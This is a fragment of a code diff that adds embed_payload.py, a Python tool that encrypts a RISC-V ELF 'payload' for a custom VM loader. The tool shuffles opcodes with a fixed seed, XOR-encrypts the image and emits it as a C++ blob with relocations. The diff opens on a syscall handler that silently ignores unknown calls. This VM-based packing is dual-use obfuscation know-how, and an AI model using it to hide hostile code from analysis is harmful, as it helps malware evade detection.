vm->halted = true;
break;
default:
// Unknown syscall — silently ignore, return 0
r[RV_A0] = 0;
break;
}
}
+125
View File
@@ -0,0 +1,125 @@
#!/usr/bin/env python3
"""
embed_payload.py <input.elf> <output_blob.cpp>
Reads a RISC-V ELF payload, applies the opcode shuffle (driven by
JANUS_OPCODE_SEED from config.hpp), XOR-encrypts, and emits a C++ source file
with the encrypted blob and relocation table for the loader.
Requires: pyelftools (pip install pyelftools)
"""
import sys
import struct
import re
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection
# Must stay in sync with include/janus/config.hpp
OPCODE_SEED = 0xDEADBEEF
XOR_KEY = 0x4A
XOR_MIX = 0x67
def gen_perm(seed: int) -> list[int]:
"""Fisher-Yates with LCG — must match gen_perm() in src/vm/core.cpp."""
p = list(range(32))
for i in range(31, 0, -1):
seed = (seed * 1664525 + 1013904223) & 0xFFFFFFFF
j = (seed >> 17) % (i + 1)
p[i], p[j] = p[j], p[i]
return p
def xor_crypt(data: bytearray) -> bytearray:
return bytearray(b ^ (XOR_KEY ^ ((i * XOR_MIX) & 0xFF)) for i, b in enumerate(data))
def shuffle_opcodes(data: bytearray, text_start: int, text_size: int, perm: list[int]) -> None:
"""Apply opcode permutation to every 32-bit RISC-V instruction in .text."""
for off in range(text_start, text_start + text_size, 4):
if off + 4 > len(data):
break
word = struct.unpack_from('<I', data, off)[0]
if (word & 0x3) != 0x3:
continue # compressed or data — skip
real_op = (word >> 2) & 0x1F
shuf_op = perm[real_op]
word = (word & ~(0x1F << 2)) | (shuf_op << 2)
struct.pack_into('<I', data, off, word)
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <input.elf> <output_blob.cpp>", file=sys.stderr)
sys.exit(1)
elf_path, out_path = sys.argv[1], sys.argv[2]
perm = gen_perm(OPCODE_SEED)
with open(elf_path, 'rb') as f:
elf = ELFFile(f)
# Collect load segments into a flat image starting at virtual address 0
load_segs = sorted(
[s for s in elf.iter_segments() if s.header.p_type == 'PT_LOAD'],
key=lambda s: s.header.p_vaddr
)
if not load_segs:
print("No PT_LOAD segments", file=sys.stderr)
sys.exit(1)
img_end = max(s.header.p_vaddr + s.header.p_memsz for s in load_segs)
image = bytearray(img_end)
for seg in load_segs:
vaddr = seg.header.p_vaddr
data = seg.data()
image[vaddr:vaddr + len(data)] = data
# Find .text section bounds for opcode shuffle
text_start = text_size = 0
sec = elf.get_section_by_name('.text')
if sec:
text_start = sec.header.sh_addr
text_size = sec.header.sh_size
# Collect R_RISCV_64 / R_RISCV_RELATIVE relocations
reloc_offsets: list[int] = []
for section in elf.iter_sections():
if not isinstance(section, RelocationSection):
continue
sym_table = elf.get_section(section.header.sh_link)
for reloc in section.iter_relocations():
rtype = reloc.entry.r_info_type
# R_RISCV_64 = 2, R_RISCV_RELATIVE = 3
if rtype in (2, 3):
reloc_offsets.append(reloc.entry.r_offset)
# Entry point
entry_offset = elf.header.e_entry
# Apply shuffle then encrypt
shuffle_opcodes(image, text_start, text_size, perm)
encrypted = xor_crypt(image)
# Emit C++ blob
hex_bytes = ', '.join(f'0x{b:02X}' for b in encrypted)
reloc_vals = ', '.join(str(o) for o in reloc_offsets) if reloc_offsets else '0'
reloc_cnt = len(reloc_offsets)
cpp = f"""\
// AUTO-GENERATED by tools/embed_payload.py — do not edit by hand.
#include <cstdint>
#include <cstddef>
extern const uint8_t kPayload[] = {{ {hex_bytes} }};
extern const size_t kPayloadSize = {len(encrypted)};
extern const uint64_t kEntryOffset = {entry_offset}ULL;
extern const uint64_t kRelocOffsets[] = {{ {reloc_vals} }};
extern const size_t kRelocCount = {reloc_cnt};
"""
with open(out_path, 'w') as f:
f.write(cpp)
print(f"[janus] payload {len(encrypted)} bytes, {reloc_cnt} relocs → {out_path}")
if __name__ == '__main__':
main()